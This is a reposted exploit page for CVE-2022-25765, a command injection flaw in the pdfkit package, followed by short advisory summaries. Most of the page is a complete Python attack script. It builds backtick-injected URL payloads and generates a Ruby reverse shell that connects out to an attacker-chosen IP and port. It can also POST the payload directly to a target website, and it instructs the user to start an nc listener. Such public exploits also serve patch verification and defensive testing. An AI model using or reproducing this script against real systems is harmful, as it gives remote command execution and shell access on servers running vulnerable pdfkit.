Headline
pdfkit 0.8.7.2 Command Injection
pdfkit version 08.7.2 suffers from a command injection vulnerability.
#!/usr/bin/env python3# Exploit Title: pdfkit v0.8.7.2 - Command Injection# Date: 02/23/2023# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)# Vendor Homepage: https://pdfkit.org/# Software Link: https://github.com/pdfkit/pdfkit# Version: 0.0.0-0.8.7.2# Tested on: pdfkit 0.8.6# CVE: CVE-2022–25765# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.# Importsimport timeimport sysimport requestsfrom urllib.parse import quoteclass color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m'# Print UNICORD ASCII Artdef UNICORD_ASCII(): print(rf"""{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """)# Print exploit help menudef help(): print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command InjectionUsage: python3 exploit-CVE-2022–25765.py -c <command> python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>] python3 exploit-CVE-2022–25765.py -hOptions: -c Custom command mode. Provide command to generate custom payload with. -s Reverse shell mode. Provide local IP and port to generate reverse shell payload with. -w URL of website running vulnerable pdfkit. (Optional) -p POST parameter on website running vulnerable pdfkit. (Optional) -h Show this help menu.""") exit()def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b')# Run the exploitdef exploit(payload, exploitMode, postArg): UNICORD_ASCII() print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}") loading(15) print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}") print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}") if "web" in exploitMode: if exploitMode == "webcommand": print( f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") else: print( f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print( f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}") print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}") print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}") if "http" not in website: print( f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}") exit() postArg = postArg + "=" + quote(payload, safe="") try: response = requests.post(website, postArg) except: print( f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}") exit() loading(15) print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}") loading(15) print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}") elif exploitMode == "command": print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") elif exploitMode == "shell": print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}") print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}") loading(15) print( f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}") exit()if __name__ == "__main__": args = ['-h', '-c', '-s', '-w', '-p'] modes = {'command': 'Custom Command Mode', 'shell': 'Reverse Shell Mode', 'webcommand': 'Custom Command Send to Target Website Mode', 'webshell': 'Reverse Shell Sent to Target Website Mode'} postArg = "url" if args[0] in sys.argv: help() elif args[1] in sys.argv and not args[2] in sys.argv: try: if sys.argv[sys.argv.index(args[1]) + 1] in args: raise command = sys.argv[sys.argv.index(args[1]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}") exit() payload = f"http://%20`{command}`" mode = "command" elif args[2] in sys.argv and not args[1] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[2]) + 1]: raise listenIP = sys.argv[sys.argv.index(args[2]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[2]) + 2]: raise listenPort = sys.argv[sys.argv.index(args[2]) + 2] except: print( f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`" mode = "shell" else: help() if args[3] in sys.argv and args[4] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2: raise website = sys.argv[sys.argv.index(args[3]) + 1] mode = "web" + mode except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2: raise postArg = sys.argv[sys.argv.index(args[4]) + 1] except: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() elif args[3] in sys.argv or args[4] in sys.argv: print( f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}") exit() exploit(payload, mode, postArg)
Related news
GHSA-rhwx-hjx2-x4qr: PDFKit vulnerable to Command Injection
The package pdfkit from version 0.0.0 through version 0.8.6 is vulnerable to Command Injection where the URL is not properly sanitized.
CVE-2022-25765
The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.